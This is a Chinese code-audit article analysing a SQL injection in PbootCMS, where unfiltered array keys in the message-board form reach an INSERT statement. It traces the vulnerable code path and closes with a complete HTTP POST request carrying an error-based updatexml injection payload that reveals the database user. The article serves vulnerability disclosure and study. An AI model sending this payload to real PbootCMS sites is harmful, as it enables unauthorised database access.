一、Cms初识:
PbootCMS是全新内核且永久开源免费的PHP企业网站开发建设管理系统,是一套高效、简洁、 强悍的可免费商用的PHP CMS源码,能够满足各类企业网站开发建设的需要。系统采用简单到想哭的模板标签,只要懂HTML就可快速开发企业网站。官方提供了大量网站模板免费下载和使用,将致力于为广大开发者和企业提供最佳的网站开发建设解决方案。
-目录结构:
二、漏洞简介:
程序对传入的参数,如果为数组,对数组的key值没有进行任何的过滤和类型限制,导致直接拼接到SQL语句中执行,造成SQL注入漏洞
三、漏洞分析过程:
1、首先分析一下程序接收参数的方式、底层的过滤机制:
corefunctionhelper.php中定义了get、post等接收参数的函数,最终都经过了filter()函数进行处理:
跟进filter()函数,代码很多,先不看
看到最终还会交给escape_string()函数处理:
跟进escape_string()函数,可以看到对参数进行过滤,但是这里注意,只过滤了value值,替换了一下敏感字符、html实例化、转义等处理,但是key值没有做任何处理的,所以可以在key值处下功夫:
ok,底层接收参数,以及大概的过滤机制都了解清楚了,步入今天的正题:
定位到控制器方法:appshomecontrollerMessageController.php中的add()方法:
这里就是连表查询数据表的信息,获取表单字段:
数据表内容如下:
然后通过遍历,赋值给$data变量:
这里打印一下$value的值:其实就是表单提交的字段值:
然后调用addMessage()函数进行添加:
跟进addMessage()函数:appshomemodelParserModel.php
继续跟进insert()函数:appshomemodelParserModel.php
可以看到这里用foreach遍历$data,然后对键值一一拼接上一对``反引号,然后对value值拼接上一对''单引号:
`content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a`
继续往下看,这里判断如果接收到$key_string,给对象属性sql,添加一个field键,值是上面的键值再拼接一对():
(`content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a`)
然后跟进buildSql()方法,是用来生成sql语句的:
传入的参数为$this->insertMultSql:
这里使用正则匹配两个%中间的数据,然后遍历匹配结果,将对应value的关键字进行替换,拼接成完整的sql语句然后返回,比如:field,就会将%field%替换成$this->sql['field']:
接着往下看:getDb()是判断用的是什么数据库类型,然后再调用amd()方法:
跟进amd()方法:
又调用了query()方法,跟进:
这里会调用mysqli原生的query()方法进行查询:
如果执行失败会输出报错信息
可以看到整个过程因为接收参数只对值进行过滤,却忽略了键,而方法中又对键中的数据进行sql语句的拼接,导致可以改变键为sql注入的payload,同时输出了mysql报错信息,从而可以进行报错注入。
四、漏洞利用:
1、安装步骤:默认的话,直接将源码解压到网站目录即可访问
2、更改默认数据库类型,程序默认使用的是sqlite,将其改为mysql:
将staticbackupsql目录下的sql文件导入数据库即可
3、改一下database.php文件的内容:
再次访问网站即可:
4、在线留言功能处:
随便输入,然后用burp抓包,将contacts的键值改为注入payload:
post数据包:
POST /index.php/Message/add HTTP/1.1
Host: www.pbootcms.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://www.pbootcms.test/index.php/about/10
Cookie: PbootSystem=jc5so9k8kqlsla3jetjf85f800;user=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
contacts[content`,`create_time`,`update_time`)+VALUES ('1', '1' ,1+and+updatexml(1,concat(0x3a,user()),1) );--+a]=1111&mobile=111&content=111&checkcode=3953
然后发包,就会输出报错信息,注入出数据库用户名:
为了方便测试,可以将验证码验证的代码先注释掉:
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!
本文始发于微信公众号(哈拉少安全小队):[代码审计] PbootCms 留言Insert SQL注入漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论